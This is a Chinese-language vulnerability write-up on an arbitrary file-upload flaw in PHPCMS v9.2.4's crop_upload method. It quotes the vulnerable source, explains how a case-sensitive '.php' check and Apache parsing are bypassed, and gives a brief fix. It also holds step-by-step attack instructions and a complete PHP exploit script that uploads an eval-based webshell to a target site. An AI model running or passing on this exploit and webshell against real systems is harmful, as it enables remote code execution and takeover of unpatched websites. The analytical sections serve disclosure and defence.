phpcms版本：v9.2.4
利用条件：由于文件上传利用了 Apache 解析漏洞，因此只适用于Linux + Apache网站，Windows下的Apache似乎不存在解析漏洞
1、攻击演示
（1）本地搭建phpcms v9.2.4环境
（2）随便访问一个页面，用burp suite抓住这个数据包，修改抓住的http数据包如下图所示：
要注意的几点如下：
1、一定要是POST请求
2、URL中的“m、c、a”这三个参数一定要设置成如图所示
3、URL中的file参数是” webshell .Php.jpg”的URL编码形式，
其中””是攻击对象的网址，你可以根据需要修改
4、Content-Type字段不能设置成application/x-www-form-urlencoded，要设置成错误的格式，在这里我随便写了个xss
（3）然后forward这个数据包就在网站根目录下的/uploadfile目录生成了webshell.Php.jpg文件
2、漏洞分析
（1）漏洞发生在/phpcms/modules/attachment/attachments.php文件的crop_upload()方法中
- public function crop_upload() {
- if (isset($GLOBALS[“HTTP_RAW_POST_DATA”])) {
- $pic = $GLOBALS[“HTTP_RAW_POST_DATA”];
- if (isset($_GET[‘width’]) && !empty($_GET[‘width’])) {
- $width = intval($_GET[‘width’]);
- }
- if (isset($_GET[‘height’]) && !empty($_GET[‘height’])) {
- $height = intval($_GET[‘height’]);
- }
- if (isset($_GET[‘file’]) && !empty($_GET[‘file’])) {
- $_GET[‘file’] = str_replace(‘;’,”,$_GET[‘file’]);
- if(is_image($_GET[‘file’])== false || strpos($_GET[‘file’],’.php’)!==false) exit();
- if (strpos($_GET[‘file’], pc_base::load_config(‘system’, ‘upload_url’))!==false) {
- $file = $_GET[‘file’];
- $basename = basename($file);
- if (strpos($basename, ‘thumb_’)!==false) {
- $file_arr = explode(‘_’, $basename);
- $basename = array_pop($file_arr);
- }
- $new_file = ‘thumb_’.$width.’_’.$height.’_’.$basename;
- } else {
- pc_base::load_sys_class(‘attachment’,”,0);
- $module = trim($_GET[‘module’]);
- $catid = intval($_GET[‘catid’]);
- $siteid = $this->get_siteid();
- $attachment = new attachment($module, $catid, $siteid);
- $uploadedfile[‘filename’] = basename($_GET[‘file’]);
- $uploadedfile[‘fileext’] = fileext($_GET[‘file’]);
- if (in_array($uploadedfile[‘fileext’], array(‘ jpg ‘, ‘gif’, ‘jpeg’, ‘png’, ‘bmp’))) {
- $uploadedfile[‘isimage’] = 1;
- }
- $file_path = $this->upload_path.date(‘Y/md/’);
- pc_base::load_sys_func(‘dir’);
- dir_create($file_path);
- $new_file = date(‘Ymdhis’).rand(100, 999).’.’.$uploadedfile[‘fileext’];
- $uploadedfile[‘filepath’] = date(‘Y/md/’).$new_file;
- $aid = $attachment->add($uploadedfile);
- }
- $filepath = date(‘Y/md/’);
- file_put_contents($this->upload_path.$filepath.$new_file, $pic);
- } else {
- return false;
- }
- echo pc_base::load_config(‘system’, ‘upload_url’).$filepath.$new_file;
- exit;
- }
- }
这个方法对文件的扩展名检测时采用如下代码：
if(is_image($_GET[‘file’])== false || strpos($_GET[‘file’],’.php’) !== false) exit();
它先调用is_image()函数检测文件是否是图片，这个函数是作者自定义的函数，具体内容请参考phpcms源码，这个函数是通过后缀名白名单来检测的，所以我们把”.jpg”添加到最后，让它通过检测；同时它又调用strpos()函数检测文件名中是否含有”.php” 字符串 ，但这个函数是区分大小写的，我们把文件名设置成”.Php”它就认为不包含”.php”字符串；
经过前面两步，我们的文件名”webshell.Php.jpg”成为了合法的文件名。
（2）检测完文件名后，作者进行了一次if()条件判断：
if (strpos($_GET[‘file’], pc_base::load_config(‘system’, ‘upload_url’))!==false)
这条语句的意思是：如果$_GET[‘file’]参数中包含uploadfile目录，则进入if()代码段，否则进入else代码段。
在这里我让它进入了if()代码段，这就是为什么URL中的file参数要包含””的原因。
（3）进入if()代码段后，进行的是文件名单拼接工作，直接给原文件名加前缀，没有任何检测，于是乎我们顺利逃过了作者的文件检测。
（4）最后，作者用file_put_contents()函数把POST传输的数据写入到文件中。在这里要注意：
$pic变量的值来源于$GLOBALS[“HTTP_RAW_POST_DATA”]，
这个$GLOBALS[“HTTP_RAW_POST_DATA”]变量只有在Content-Type字段的值不能被识别时才会出现，
因此我们要把http请求的Content-Type字段设置成不可识别的格式。
3、防御策略
在写入文件之前用stripos()函数再次检测文件名中是否含有”.php”字符串，如果有就退出执行，如果没有就继续执行。
4、 Exploit
- <?php
- /*
- PHPCMS 9.2.4文件上传漏洞Exploit
- 利用条件: 文件上传利用了Apa ch e解析漏洞,因此只适用于Linux + Apache网站
- Date: 2017-06-06
- */
- set_time_limit(0);
- function exploit($host) {
- $host = trim($host);
- $url = ‘/index.php?m=attachment&c=attachments&a=crop_upload&file=’ . urlencode($host . ‘/uploadfile/webshell.Php.jpg’);
- $payload = ‘<?php eval($_REQUEST[\’mysq1\’]);?>’;
- $length = strlen($payload);
- $ch = curl_init($host . $url);
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_HTTPHEADER, array(‘Content-Type: xss’,”Content-Length: $length”));
- curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
- $response = curl_exec($ch);
- curl_close($ch);
- echo $response;
- }
- // 目标网站地址(注意:网址的结尾不能有斜线”/”)
- $host = ‘
- exploit($host);
- exit();
- ?>
